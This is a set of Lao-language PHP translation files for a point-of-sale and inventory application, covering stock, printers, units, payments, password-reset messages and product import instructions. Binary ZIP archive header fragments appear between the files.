'expiring_in_1_week' => 'ໝົດອາຍຸໃນໜຶ່ງອາທິດ', 'expiring_in_15_days' => 'ໝົດອາຍຸໃນ 15 ມື້', 'expiring_in_1_month' => 'ໝົດອາຍຸພາຍໃນໜຶ່ງເດືອນ', 'expiring_in_3_months' => 'ໝົດອາຍຸພາຍໃນ 3 ເດືອນ', 'expiring_in_6_months' => 'ໝົດອາຍຸພາຍໃນ 6 ເດືອນ', 'expiring_in_1_year' => 'ໝົດອາຍຸພາຍໃນໜຶ່ງປີ', 'profit_loss' => 'ລາຍງານ ກຳໄລ / ສູນເສຍ ', 'opening_stock' => 'ການເປີດສະຕັອກ', 'closing_stock' => 'ປິດສະຕັອກ', 'total_expense' => 'ຄ່າໃຊ່ຈ່າຍທັງໝົດ', 'net_profit' => 'ກຳໄລສຸດທິ', 'total_stock_adjustment' => 'ການປັບສະຕັອກທັງໝົດ', 'total_stock_recovered' => 'ການກູ້ຄືນສະຕອັກທັງໝົດ', ]; PK G �Z_"z�� � lo/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reset Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'ລະຫັດຜ່ານຕ້ອງມີຢ່າງຫນ້ອຍຫົກຕົວອັກສອນແລະກົງກັບການຢືນຢັນ.', 'reset' => 'ລະຫັດຜ່ານຂອງທ່ານໄດ້ຖືກປັບໃໝ່ແລ້ວ!', 'sent' => 'ເຮົາໄດ້ສົ່ງການຕັ້ງລະຫັດຜ່ານໃໝ່ຂອງເຈົ້າທາງອີເມວແລ້ວ', 'token' => 'Token ລະຫັດຜ່ານນີ້ແມ່ນບໍ່ຖືກຕ້ອງ', 'user' => 'ພວກເຮົາບໍ່ສາມາດຊອກຫາຜູ້ໃຊ້ທີ່ມີອີເມວນັ້ນ.', ]; PK G �Z�-��� � lo/unit.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Unit Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Units CRUD operations. | */ 'units' => 'ໜ່ວຍ', 'manage_your_units' => 'ຈັດການໜ່ວຍ', 'all_your_units' => 'ໜ່ວຍທັງໝົດ', 'name' => 'ຊື່', 'short_name' => 'ຊື່ຫຍໍ້', 'allow_decimal' => 'ອະນຸຍາດໃຫ້ມີທົດສະນິຍົມ', 'added_success' => 'ເພີ່ມໜ່ວຍສຳເລັດແລ້ວ', 'updated_success' => 'ປັບປຸງໜ່ວຍສຳເລັດແລ້ວ', 'deleted_success' => 'ລຶບໜ່ວຍສຳເລັດແລ້ວ', 'add_unit' => 'ເພີ່ມໜ່ວຍ', 'edit_unit' => 'ແກ້ໄຂໜ່ວຍ', ]; PK G �ZٛFna a lo/printer.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Printer Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Printer CRUD operations. | */ 'printers' => 'ເຄື່ອງພິມ', 'add_printer' => 'ເພີ່ມ ເຄື່ອງພິມ', 'name' => 'ຊື່ເຄື່ອງພິມ', 'connection_type' => 'ປະເພດການເຊື່ອມຕໍ່', 'capability_profile' => 'ລາຍລະອຽດຄວາມສາມາດ', 'ip_address' => 'ທີ່ຢູ່ IP', 'port' => 'ພອດ', 'path' => 'ເສັ້ນທາງ', 'added_success' => 'ເພີ່ມເຄື່ອງພິມສຳເລັດແລ້ວ', 'manage_your_printers' => 'ຈັດການເຄື່ອງພິມ', 'all_your_printer' => 'ເຄື່ອງພິມທີ່ກຳໜົດຄ່າທັງໝົດ', 'deleted_success' => 'ລົບເຄື່ອງພິມສຳເລັດແລ້ວ', 'edit_printer_setting' => 'ແກ້ໄຂການກຳນົດຄ່າເຄື່ອງພິມ', 'receipt_printers' => 'ເຄື່ອງພິມໃບຮັບເງິນ', 'character_per_line' => 'ຕົວອັກສອນຕໍ່ແຖວ', 'printer_name' => 'ຊື່ເຄື່ອງພິມ', 'updated_success' => 'ລຶບເຄື່ອງພິມສຳເລັດແລ້ວ', 'edit_printer' => 'ແກ້ໄຂເຄື່ອງພິມ', ]; PK G �Z'Z� �/ �/ lo/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'ເປີດໃຊ້ການແກ້ໄຂລາຄາສິນຄ້າຈາກໜ້າຈໍຊື້', 'sales_commission_agent' => 'ຕົວແທນຄ່ານາຍໜ້າ', 'sales_commission_agents' => 'ຕົວແທນນາຍໜ້າການຂາຍ', 'disable' => 'ປິດການໃຊ້ງານ', 'logged_in_user' => 'ເຂົ້າສູ່ລະບົບຜູ້ໃຊ້', 'select_from_users_list' => 'ເລືອກຈາກລາຍຊື່ຜູ້ໃຊ້', 'select_from_commisssion_agents_list' => 'ລືອກຈາກລາຍຊື່ຂອງຕົວແທນກຳມະການ', 'add_sales_commission_agent' => 'ເພີ່ມຕົວແທນກຳມະການຂາຍ', 'commission_agent_added_success' => 'ພີ່ມຕົວແທນຂອງຄະນະກຳມະການຮຽບຮ້ອຍແລ້ວ', 'edit_sales_commission_agent' => 'ແກ້ໄຂຕົວແທນກຳມາການຂາຍ', 'commission_agent_updated_success' => 'ປັບປຸງຕົວແທນຂອງຄະນະກຳມະການຮຽບຮ້ອຍແລ້ວ', 'commission_agent_deleted_success' => 'ລຶບຕົວແທນຂອງຄະນະກຳມະການຮຽບຮ້ອຍແລ້ວ', 'contact_no' => 'ສັນຍາ ເລກທີ.', 'commission_agent' => 'ຕົວແທນກຳມະການ', 'cmmsn_percent' => 'ເປີເຊັນການຂາຍຂອງຄະນະກຳມະການ (%) ', 'sales_added' => 'ເພີ່ມຍອດຂາຍ', 'sales_with_commission' => 'ການຂາຍດ້ວຍຄະນະກຳມະການ', // 'total_sale_with_commission' => 'Total Sale With Commission', 'total_sale_commission' => 'ຄະນະກຳມະການຂາຍທັງໝົດ', 'sales_item_addition_method' => 'ວິທີການເພີ່ມລາຍການຂາຍ', 'add_item_in_new_row' => 'ເພີ່ມລາຍການໃນແຖວໃໝ່', 'increase_item_qty' => 'ເພີ່ມຈຳນວນສິນຄ້າຖ້າມັນມີຢູ່ແລ້ວ', 'stock_transfers' => 'ການໂອນສະຕັອກ', 'all_stock_transfers' => 'ການໂອນສະຕັອກທັງໝົດ', 'add_stock_transfer' => 'ເພີ່ມການໂອນສະຕັອກ', 'list_stock_transfers' => 'ລາຍການການສະຕັອກ', 'location_from' => 'ສະຖານທີ່ (ຈາກ)', 'location_to' => 'ສະຖານທີ່ (ເຖິງ)', 'shipping_charges' => 'ຄ່າຂົນສົ່ງ', 'stock_transfer_added_successfully' => 'ເພີ່ມການໂອນສະຕັອກຮຽບຮ້ອຍ', 'stock_transfer_delete_success' => 'ລຶບການໂອນສະຕັອກຮຽບຮ້ອຍ', 'stock_transfer_cannot_be_deleted' => 'ບໍ່ສາມາດລົບການໂອນສະຕັອກນີ້ເນື່ອງຈາດມີການຂາຍສະຕັອກບາງສ່ວນແລ້ວ', 'total_transfer_shipping_charges' => 'ລວມຄ່າບໍລິການຂົນສົ່ງສິນຄ້າທັງໝົດ', 'enable_inline_tax' => 'ເປີດໃຊ້ງານພາສີແບບ ອິນໄລ ໃນການຊື້ແລະຂາຍ', 'save_n_add_opening_stock' => 'ບັນທຶກ & ເພີ່ມການເປີດສະຕັອກ', 'add_opening_stock' => 'ເພີມກ່ານເປີດສະຕັອກ', 'opening_stock_added_successfully' => 'ເພີມການເປີດສະຕັອກຮຍບຮ້ອຍແລ້ວ', 'update_n_edit_opening_stock' => 'ປັບປຸງ & ແກ້ໄຂການເປີດສະຕັອກຮຍບຮ້ອຍແລ້ວ', 'total_amount_exc_tax' => 'ຍອດລວມ (ລວມ. ພາສີ)', 'currency_symbol_placement' => 'ຕຳແໜ່ງສັນຍະລັກສະກຸນເງິນ', 'before_amount' => 'ກ່ອນໜ້າຈຳນວນເງິນ', 'after_amount' => 'ຫຼັງຈຳນວນເງິນ', 'barcode_label_error' => 'ລະຫັດ SKU ບໍຮອງຮັບສຳຫຼັບປະເພດບາໂຄດທີ່ເລືອກ', 'list_products' => 'ລາຍການຜະລິດຕະພັນ', 'list_expenses' => 'ລາຍການຄ່າໃຊ້ຈ່າຍ', 'add_expiry' => 'ເພີ່ມລາຍການໝົດອາຍຸ', 'add_manufacturing_auto_expiry' => 'ເພີ່ມວັນທີຜະລິດ & ຊ່ວງເວລາໝົດອາຍຸ', 'tooltip_enable_expiry' => 'ເປັີດການໃຊ້ງານການໝົດອາຍຸຂອງສິນຄ້າ. <br/> <br/><b>ເພີມລາຍການທີ່ໝົດອາຍຸ</b>: ເພື່ອເພີ່ມລາຍການໝົດອາຍຸໂດຍກົງເທົ່ານັ້ນ. <br/> <b>ເພີ່ມວັນທີແລະໄລຍະເວລາ ໝົດອາຍຸ</b>: ເພື່ອເພີ່ມວັນທີ່ຜະລິດ & ຊ່ວງເວລາທີ່ໝົດອາຍຸ ແລະ ຄຳນວນວັນທີ່ໝົດອາຍຸໂດຍອີງໃສ່ມື້ນັ້ນ. .', 'quantity' => 'ຈຳນວນ', 'on_product_expiry' => 'ການໝົດອາຍຸຂອງຜະລິດຕະພັນ', 'keep_selling' => 'ຂາຍຕໍ່', 'stop_selling' => 'ຢຸດການຂາຍກ່ອນມື້', 'tooltip_on_product_expiry' => 'ລະບຸການເຄື່ອນໄຫວທີ່ຕ້ອງເຮັດໃນມື້ໝົດອາຍຸຂອງຜະລິດຕະພັນ. <br><br> <b>ຂາຍຕໍ່</b>: ສິນຄ້າຈະຖືກເກັບໄວ້ໃນການຂາຍຫຼັງຈາກໝົດອາຍຸເຊັ່ນກັນ. <br> <b>ຢຸດການຊາຍ</b>: ຢຸດການຂາຍສິນຄ້າກ່ອນວັນໝົດອາຍຸ.', 'output_tax_minus_input_tax' => 'ພາສີຂາຍ - ພາສີຊື້ - ພາສີຄ່າໃຊ້ຈ່າຍ', 'total_purchase_discount' => 'ສ່ວນຫຼຸດການຊື້ທັງໝົດ', 'total_sell_discount' => 'ສ່ວນຫຼຸດການຂາຍທັງໝົດ', 'updated_succesfully' => 'ປັບປຸງຮຽບຮ້ອຍແລ້ວ', 'default_unit' => 'ໜ່ວຍເລີ່ມຕົ້ນ', 'enable_brand' => 'ເປີດໃຊ້ງານຍີ່ຫໍ້', 'enable_category' => 'ເປີດໃຊເງານໝວດໝູ່', 'enable_sub_category' => 'ເປີດໃຊ້ວານໝວດໝູ່ຍ່ອຍ', 'enable_price_tax' => 'ເປີດໃຊ້ງານຂໍ້ມູນພາສີ & ລາຄາ', 'enable_purchase_status' => 'ເປີດໃຊ້ງານສະຖານະການຊື້', 'tooltip_enable_purchase_status' => 'ປິດການໃຊ້ງານການຊື້ທັງໝົດຈະຖືກເຮັດເປັນເຄື່ອງໝາຍ <i>ລາຍການທີ່ໄດ້ຮັບ</i>', 'recent_product_quantity' => 'ໄປທີ່ປະລິມານສິນຄ້າ', 'full_screen' => 'ກົດ F11 ເພື່ອເຕັມຈໍ', 'Uncategorised' => 'ບໍ່ໄດ້ຈັດປະເພດ', 'no_products_to_display' => 'ບໍ່ມີສິນຄ້າທີ່ຈະສະແດງ', 'item_out_of_stock' => 'ສິນຄ້າໝົດ', 'go_back' => 'ກັບຄືນ', 'disable_pay_checkout' => 'ປິດການໃຊ້ງານການຈ່າຍຫຼາຍໆຄັ້ງ', 'disable_draft' => 'ປິດໃຊ້ງານຮ່າງເອກະສານ', 'disable_express_checkout' => 'ປິດການໃຊ້ງານການຊຳລະເງິນດ່ວນ', 'hide_product_suggestion' => 'ບໍ່ສະແດງຄຳແນະນຳສິນຄ້າ', 'hide_recent_trans' => 'ບໍ່ສະແດງທຸລະກຳຫຼ້າສຸດ', 'pos_settings' => 'ການຕັ້ງຄ່າ POS', 'disable_discount' => 'ປິດການໃຊ້ງານສ່ວນຫຼຸດ', 'disable_order_tax' => 'ປິດການໃຊ້ງານພາສີການສັງຊື້', 'customer_groups' => 'ກຸ່ມລູກຄ້າ', 'customer_group' => 'ກຸ່ມລູກຄ້າ', 'all_your_customer_groups' => 'ກຸ່ມລູກຄ້າທັງໝົດ', 'add_customer_group' => 'ເພີ່ມກຸ່ມລູກຄ້າ', 'customer_group_name' => 'ຊື່ກຸ່ມລູກຄ້າທັງ', 'calculation_percentage' => 'ເປີເຊັນການຄິດໄລ່ (%)', 'tooltip_calculation_percentage' => '<b>ລາຄາຂາຍ = ລາຄາຂາຍທີ່ຕັ້ງໄວ້ສຳຫຼັບຜະລິດຕະພັນ + ເປັີເຊັນການຄິດໄລ່ </b> <br/><br/> ທ່ານສາມາດລະບຸເປີເຊັນເປັນຄ່າບວກເພືອເພີ່ມແລະລົບເພື່ອຫຼຸດລາຄາຂາຍ.', 'success' => 'ຮຽບຮ້ອຍ', 'edit_customer_group' => 'ແກ້ໄຂ ກຸ່ມລູກຄ້າ', 'customer_groups_report' => 'ລາຍງານກຸ່ມລູກຄ້າ', 'none' => 'ບໍ່ມີ', 'enable_imei_or_sr_no' => 'ເປີດໃຊ້ລາຍລະອຽດກ່ຽວກັບຜະລິດຕະພັນ, IMEI ຫຼື Serial Number', 'tooltip_sr_no' => ' ເປີດໃຊ້ງານຫຼືປິດການເພີ່ມຄຳອະທິບາຍກ່ຽວກັບຜະລິດຕະພັນ, IMEI ຫຼື ຈຳນວນ Serial ໃນຂະນະທີ່ຂາຍຜະລິດຕະພັນໃນ ໜ້າຈໍ POS', 'description' => 'ຄຳອະທິບາຍ', 'sell_line_description_help' => 'ເພີ່ມຜະລິດຕະພັນ IMEI, ຈຳ ນວນ Serial ຫຼືຂໍ້ມູນອື່ນໆບ່ອນນີ້.', 'unit_cost_before_discount' => 'ຕົ້ນທຶນຕໍ່ໜ່ວຍ Unit Cost (ກ່ອນສ່ວນຫຼຸດ)', 'discount_percent' => 'ເປີເຊັນສ່ວນຫຼຸດ %', 'profit_margin' => 'ກຳໄລຂັ້ນຕົ້ນ %', 'discount_percent' => 'ເປີເຊັນສ່ວນຫຼຸດ', 'application_tour' => 'ເບິ່ງແອບພິເຄເຊິນ', 'profile' => 'ໂປຼໄຟລ໌', 'sign_out' => 'ອອກຈາກລະບົບ', 'my_profile' => 'ໂປຼໄຟລ໌ຂອງຂ້ອຍ', 'Admin' => 'ຜູ້ດູແລລະບົບ', 'Cashier' => 'ພະນັກງານຂາຍ', 'both_supplier_customer' => 'ທັງສອງ (ຜູ້ສະໜອງ ແລະ ລູກຄ້າ) ', 'months' => 'ເດືອນ', 'days' => 'ມື້', 'suppliers' => 'ຜູ້ສະໜອງ', 'customers' => 'ລູກຄ້າ', 'enter_product_name_to_print_labels' => 'ປ້ອນຊື່ຜະລິດຕະພັນເພື່ອພິມປ້າຍ', 'manage_product_variations' => 'ຈັດການຮູບແບບຂອງຜະລິດຕະພັນ', 'all_variations' => 'ຮູບແບບທັງໝົດ', 'values' => 'ມູນຄ່າ', 'add_variation' => 'ເພີ່ມຮູບແບບ', 'variation_name' => 'ຊື່ຮູບແບບ', 'add_variation_values' => 'ເພີ່ມມູນຄ່າຮູບແບບ', 'edit_variation' => 'ແກ້ໄຂຮູບແບບ', 'received' => 'ໄດ້ຮັບ', 'pending' => 'ລໍຖ້າ', 'ordered' => 'ສັ່ງແລ້ວ', 'search_product_placeholder' => 'ໃສ່ຊື່ຜະລິດຕະພັນ / SKU / ສະແກນບາໂຄດ', 'fixed' => 'ແກ້ໄຂ', 'percentage' => 'ເປີເຊັນ', 'select_location' => 'ເລືອກສະຖານທີ່', 'add_description' => 'ເພີ່ມຄຳອະທິບາຍ', 'cash' => 'ເງິນສົດ', 'card' => 'ບັດ', 'cheque' => 'ແຊັກ', 'bank_transfer' => 'ໂອນເງິນຜ່ານທະນາຄານ', 'other' => 'ອື່ນໆ', 'payment' => 'ການຈ່າຍເງິນ', 'total_items' => 'ລາຍການທັງໝົດ', 'total_paying' => 'ການຈ່າຍທັງໝົດ', 'balance' => 'ດຸນດ່ຽງ', 'payment_method' => 'ວິທີການຈ່າຍເງິນ', 'card_no' => 'ເລກບັດ', 'card_holder_name' => 'ຊື່ຜູ້ຖືບັດ', 'card_transaction_no' => 'ເລກບັດໂອນເງິນ', 'card_type' => 'ປະເພດບັດ', 'month' => 'ເດືອນ', 'year' => 'ປີ', 'security_code' => 'ລະຫັດຄວາມປອດໄພ', 'cheque_no' => 'ເລກ Cheque', 'bank_account_number' => 'ເລກບັນຊີທະນາຄານ', 'paid' => 'ຈ່າຍ', 'due' => 'ຄົບກຳນົດຊໍຳລະ', 'partial' => 'ບາງສ່ວນ', 'no_of_products' => 'ຈຳນວນຜະລິດຕະພັນ', 'select_a_date_range' => 'ເລືອກຊ່ວງວັນທີ', 'shortcut_help' => "ທາງລັດຄວນເປັນຊືຂອງປຸ່ມທີ່ຂັ້ນ '+'", 'example' => 'ຕົວຢ່າງ', 'available_key_names_are' => 'ຊື່ຄີທີ່ໄດ້ໃຊ້ໄດ້ຄື', 'add_new_product' => 'ເພີ່ມຜະລິດຕະພັນໃໝ່', 'invoice_logo_help' => 'ສູງສຸດ :max_size, jpeg,gif,png formats ເທົ່ານັ້ນ.', 'invoice_logo_help2' => 'ອັບໂຫລດສະເພາະຖ້າທ່ານຕ້ອງການປ່ຽນແທນໂລໂກ້ກ່ອນໜ້ານີ້', 'printer_name_help' => 'ຊື່ທີືຊື່ຄວາມໝາຍສັ້ນໆເພື່ອໃຫ້ຮູ້ຈັັກເຄື່ອງພິມ', 'char_per_line_help' => 'ຈຳນວນຕົວອັກສອນທີ່ສາມາດພິມໄດ້ຕໍ່ແຖວ', 'ip_address_help' => 'ທີ່ຢູ່ IP ສຳລັບເຊື່ອມຕໍ່ກັບເຄື່ອງພິມ', 'port_help' => 'ເຄື່ອງພິມສ່ວນໃຫຍ່ເຮັດວຽກຢູ່ພອດ 9100', 'combination_of_taxes' => 'ການລວມຂອງພາສີຫຼາຍລາຍການ', 'product_purchase_report' => 'ລາຍງານການຊື້ສິນຄ້າ', 'unit_perchase_price' => 'ລາຄາຫົວໜ່ວຍຊື້', 'search_product' => 'ຄົ້ນຫາຜະລິດຕະພັນ', 'product_sell_report' => 'ລາຍງານການຂາຍຜະລິດຕະພັນ', 'unit_sale_price' => 'ລາຄາຫົວໜ່ວຍຂາຍ', 'contact_id' => 'ລະຫັດສັນຍາ', 'category_code_help' => 'ລະຫັດໝວດໝູ່ແມ່ນຄືກັນກັບ<b>ລະຫັດ HSN </b>', 'sub_heading_line' => 'ແຖວຫົວຂໍ້ຍ່ອຍ :_ເລກ_', 'date_label' => 'ປ້າຍວັນທີ', 'client_id_label' => 'ປ້າຍກຳກັບລະຫັດລູກຄ້າ', 'product_label' => 'ປ້າຍຜະລິດຕະພັນ', 'qty_label' => 'ປ້າຍຈຳນວນ', 'unit_price_label' => 'ປ້າຍຫົວໜ່ວຍລາຄາ', 'subtotal_label' => 'ປ້າຍຍກຳກັບລວມຍ່ອຍ', 'product_details_to_be_shown' => 'ລາຍລະອຽດຂອງສິນຄ້າທີ່ຈະສະແດງ', 'show_brand' => 'ສະແດງຍີ່ຫໍ້', 'show_sku' => 'ສະແດງ SKU', 'show_cat_code' => 'ສະແດງລະຫັດປໝວດໝູ່ຫຼືລະຫັດ HSN', 'show_client_id' => 'ສະແດງ ID ລູກຄ້າ', 'show_time_with_date' => 'ສະແດງເວລາກັບວັນທີ', 'show_sale_description' => 'ສະແດງ ຄຳອະທິບາຍກ່ຽວກັບການຂາຍ', 'product_imei_or_sn' => '(ຜະລິດຕະພັນ IMEI ຫຼື ເລກ Serial)', 'purchase_already_exist' => ' ຜະລິດຕະພັນນີ້ສາມາດລຶບໄດ້ເນື່ອງຈາກວ່າການຊມີື້ທີ່ກ່ຽວຂ້ອງກັບຜະລິດຕະພັນນີ້ຢູ່ ', 'opening_stock_sold' => 'ສິນຄ້າບໍ່ສາມາດລຶບໄດ້ເພາະວ່າບາງສະຕັອກແມ່ນຖືກຂາຍໄປແລ້ວ', 'stock_adjusted' => 'ສິນຄ້າບໍ່ສາມາດລົບໄດ້ເພາະສະຕັອກຖືກປັບປ່ຽນ', 'product_delete_success' => 'ລຶບຜະລິດຕະພັນຮຽບຮ້ອຍ', 'manage_products' => 'ຈັດການຜະລິດຕະພັນ', 'all_products' => 'ຜະລິດຕະພັນທັງໝົດ', 'login' => 'ເຂົ້າສູ່ລະບົບ', 'register' => 'ລົງທະບຽນ', 'username' => 'ຊື່ຜູ້ໃຊ້', 'password' => 'ລະຫັດຜ່ານ', 'remember_me' => 'ຈື່ຂ້ອຍໄວ້', 'forgot_your_password' => 'ລືມລະຫັດຜ່ານ?', 'reset_password' => 'ຕັ້ງລະຫັດຜ່ານຄືນ', 'email_address' => 'ທີ່ຢູ່ອີເມວ', 'send_password_reset_link' => 'ສົ່ງການຕັ້ງຄ່າລະຫັດຜ່ານຄືນ', 'instructions' => 'ຄຳແນະນຳ', 'instruction_line1' => 'ປະຕິບັດຕາມຄຳແນະນຳຢ່າງລະມັດລະວັງກ່ອນທີ່ຈະນຳເອກະສານເຂົ້າ.', 'instruction_line2' => 'ຖັນຂອງເອກະສານຄວນຢູ່ໃນ ລຳດັບຕໍ່ໄປນີ້.', 'col_no' => 'ເລກຖັນ', 'col_name' => 'ຊື່ຖັນ', 'instruction' => 'ຄຳແນະນຳ', 'required' => 'ຈຳເປັນຕ້ອງໃສ່', 'optional' => 'ເລືອກ', 'name_ins' => 'ຊື່ຂອງຜະລິດຕະພັນ', 'brand_ins' => 'ຊື່ຂອງຍີ່ຫໍ້', 'brand_ins2' => 'ຖ້າບໍ່ພົບຍີ່ຫໍ້ໃໝ່ທີ່ມີຊື່ທີ່ກຳນົດຈະຖືກສ້າງຂື້ນ', 'unit_ins' => 'ຊື່ຂອງໜ່ວຍ', 'category_ins' => 'ຊື່ຂອງໝວດ', 'category_ins2' => 'ຖ້າບໍ່ພົບໝວດໝູ່ໃໝ່ທີ່ມີຊື່ທີ່ກຳນົດຈະຖືກສ້າງຂຶ້ນ', 'sub_category_ins' => 'ຊື່ຂອງໝວດຍ່ອຍ', 'sub_category_ins2' => 'ຖ້າບໍ່ພົບໝວດຍ່ອຍໃໝ່ທີ່ມີຊື່ທີ່ຢູ່ພາຍໃຕ້<br> ໝວດຫຼັກໝວດໝູ່ຈະຖືກສ້າງຂຶ້ນ', 'sku_ins' => ' ຜະລິດຕະພັນ SKU. ຖ້າວ່າຫວ່າງ SKU ຈະຖືກສ້າງໂດຍອັດຕະໂນມັດ', 'barcode_type_ins' => 'ປະເພດລະຫັດບາໂຄດ ສຳລັບຜະລິດຕະພັນ', 'barcode_type_ins2' => 'ທີ່ສະຫນັບສະຫນູນໃນປະຈຸບັນ', 'default' => 'ຄ່າເລີ່ມຕົ້ນ', 'manage_stock_ins' => 'ເປີດໃຊ້ງານຫຼືປິດການໃຊ້ງານການຈັດການສະຕັອກ', 'alert_qty_ins' => ' ຈຳເປັນຕ້ອງໃສ່ຖ້າວ່າ ການຈັດການສະຕັອກແມ່ນ 1', 'expires_in_ins' => 'ໄລຍະໝົດອາຍຸຂອງຜະລິດຕະພັນ (ຕົວເລກເທົ່ານັ້ນ)', 'expire_period_unit' => 'ໄລຍະເວລາໝົດອາຍຸຂອງໜ່ວຍ', 'available_options' => 'ຕົວເລືອກທີ່ມີຢູ່', 'expire_period_unit_ins' => 'ໜ່ວຍສຳລັບຮອບໄລຍະເວລາ ໝົດອາຍຸ', 'applicable_tax_ins' => 'ຂອງອັດຕາອາກອນ', 'variation_name_ins' => 'ຈຳເປັນຕ້ອງໃສ່ຖ້າວ່າປະເພດສິນຄ້າແມ່ນມີຫຼາຍຮູບແບບ ', 'variation_name_ins2' => 'ຊື່ຂອງຮູບແບບ (ເຊັ່ນ: ຂະໜາດ, ສີ ອື່ນໆ )', 'variation_values_ins' => 'ຈຳເປັນຕ້ອງໃສ່ຖ້າວ່າປະເພດສິນຄ້າແມ່ນມີຫຼາຍຮູບແບບ', 'variation_values_ins2' => "ຄ່າສຳຫຼັັັບການປ່ຽນແປງທີ່ຂັ້ນດ້ວຍ'|' <br> (ຕົວຢ່າງ: ສີແດງ|ສິຟ້າ|ສີຂຽວ)", 'purchase_price_inc_tax' => 'ລາຄາຊື້ (ລວມທັງອາກອນ)', 'purchase_price_inc_tax_ins1' => ' ຈຳເປັນຕ້ອງໃຊ້ຖ້າວ່າບໍ່ໄດ້ຮັບລາຄາຊື້ທີ່ບໍ່ລວມພາສີ', 'purchase_price_inc_tax_ins2' => "ລາຄາຊື້ (ລວມທັງອາກອນ) (ເປັນຕົວເລກເທົ່ານັ້ນ) <br><br>ສຳລັບສິນຄ້າທີ່ມີຫຼາຍຮູບແບບ '|' ຄ່າທີ່ຂັ້ນດ້ວຍ <br>ຄຳສັ່ງດຽວກັນກັບຄ່າຫຼາຍແບບ <br>(ເຊັ່ນ: 84|85|88)", 'purchase_price_exc_tax' => 'ລາຄາຊື້ (ບໍ່ລວມພາສີ)', 'purchase_price_exc_tax_ins1' => 'ຈຳເປັນຕ້ອງໃຊ້ຖ້າວ່າບໍ່ໄດ້ຮັບລາຄາຊື້ທີ່ບໍ່ລວມພາສີ', 'purchase_price_exc_tax_ins2' => "ລາຄາຊື້ (ບໍ່ລວມອາກອນ) (ເປັນຕົວເລກເທົ່ານັ້ນ)<br><br>ສຳລັບສິນຄ້າທີ່ມີຫຼາຍຮູບແບບ '|' ຄ່າທີ່ຂັ້ນດ້ວຍ <br>ຄຳສັ່ງດຽວກັນກັບຄ່າຫຼາຍແບບ <br>(ເຊັ່ນ: 84|85|88)", 'profit_margin_ins' => 'ອັດຕາກຳໄລ (ເປັນຕົວເລກເທົ່ານັ້ນ)', 'profit_margin_ins1' => 'ຖ້າອັດຕາກຳໄລເລີ່ມຕົ້ນວ່າງສຳຫຼັບ <br> ທຸລະກິດຈະຖືກໃຊ້', 'selling_price' => 'ລາຄາຂາຍ', 'selling_price_ins' => 'ລາຄາຂາຍ (ເປັນຕົວເລກເທົ່ານັ້ນ)', 'selling_price_ins1' => 'ລາຄາຂາຍວ່າງເປົ່າຈະໄດ້ຮັບການຄິດໄລ່ <br>ພ້ອມລາຄາຊື້ທີ່ກຳນົດ <br>ແລະພາສີທີ່ກ່ຽວຂ້ອງ ', 'opening_stock' => 'ການເປີດສະຕັອກ', 'opening_stock_ins' => 'ການເປີດສະຕັອກ (ເປັນຕົວເລກເທົ່ານັ້ນ)', 'only_applicable_to_single_product' => 'ໃຊ້ໄດ້ກັບຜະລິດຕະພັນດຽວເທົ່ານັ້ນ', 'purchase_delete_success' => 'ລຶບການຊື້ຮຽບຮ້ອຍ', 'location_ins' => ' ຖ້າຫາກວ່າງສະຖານທີ່ຕັ້ງທຸລະກິດທຳອິດຈະຖືກນຳໃຊ້ ', 'location_ins1' => 'ຊື່ສະຖານທີ່ເຮັດທຸລະກິດ', 'expiry_date' => 'ວັນໝົດອາຍຸ', 'expiry_date_ins' => 'ວັນໝົດອາຍຸຂອງສະຕັອກ <br><b>ຮູບແບບ: mm-dd-yyyy; ຕົວຢ່າງ: 11-25-2018</b>', 'enable_lot_number' => 'ເປີດໃຊ້ງານໝາຍເລກລັອດ', 'tooltip_enable_lot_number' => 'ສິ່ງນີ້ຈະຊ່ວຍໃຫ້ເຈົ້າສາມາດປ້ອນໝາຍເລກລັອດສຳຫຼັບແຕ່ລະແຖວ ການຊື້້ໃນໜ້າຈໍຂອງການຊື້', 'lot_number' => 'ເລກລັອດ', 'enable_racks' => 'ເປີດໃຊ້ງານຊັ້ນວາງເຄື່ອງ', 'tooltip_enable_racks' => 'ເປີດໃຊ້ງານສິ່ງນີ້ເພື່ອເພີ່ມລາຍລະອຽດຂອງຊັ້ນວາງເຄື່ອງຂອງຜະລິດຕະພັນ ສຳຫຼັບທີ່ຕັ້ງຂອງທຸລະກິດທີ່ແຕກຕ່າງກັນໃນຂະນະທີ່ເພີ່ມຜະລິດຕະພັນ', 'rack_details' => ' ລາຍລະອຽດ ຊັ້ນວາງ/ແຖວ/ຕຳແໜ່ງ', 'tooltip_rack_details' => 'ໃສ່ລາຍລະອຽດກ່ຽວກັບບ່ອນທີ່ຜະລິດຕະພັນຖືກເກັບຢູ່ໃນຮ້ານ, ສຳຫຼັບທີ່ຕັ້ງຂອງທຸລະກິດທີ່ແຕກຕ່າງກັນ.', 'updated_success' => 'ປັບປຸງຮຽບຮ້ອຍແລ້ວ', 'added_success' => 'ເພີ່ມຮຽບຮ້ອຍແລ້ວ', 'deleted_success' => 'ລຶບຮຽບຮ້ອຍແລ້ວ', 'enable_disable_modules' => 'ເປີດໃຊ້ງານ / ປິດໃຊ້ງານ Modules', 'opening_stock_help_text' => "<br><br> ສຳຫຼັບຜະລິດຕະພັນທີ່ຫຼາຍຮູບແບບປະລິມານສະຕັອກແຍກດ້ວຍ '|' <br>(ຕົວຢ່າງ: 100|150|200)", 'applicable_tax_help' => '<br><br/>ຖ້າລາຄາຊື້ (ບໍ່ລວມພາສີ) ບໍ່ຄືກັນກັບ <br/> ລາຄາຊື້ (ລວມທັງອາກອນ) <br/>ທ່ານຕ້ອງສລະບຸຊື່ອັດຕາອາກອນ.', 'sale_delete_success' => 'ລຶບການຂາຍຮຽບຮ້ອຍ', 'click_to_edit' => 'ກົດເພື່ອແກ້ໄຂ', 'click_to_delete' => 'ກົດເພື່ອລຶບ', 'quotation_heading' => 'ຫົວຂໍ້ຂອງໃບສະເໜີລາຄາ', 'quotation' => 'ໃບສະເໜີລາຄາ', 'quotation_no_prefix' => 'ເລກ ໃບສະເໜີລາຄາ. ປ້າຍກຳກັບ', 'tooltip_quotation_heading' => 'ສ່ວນຫົວຂອລໃບສະເໜີລາຄາ ຫຼື 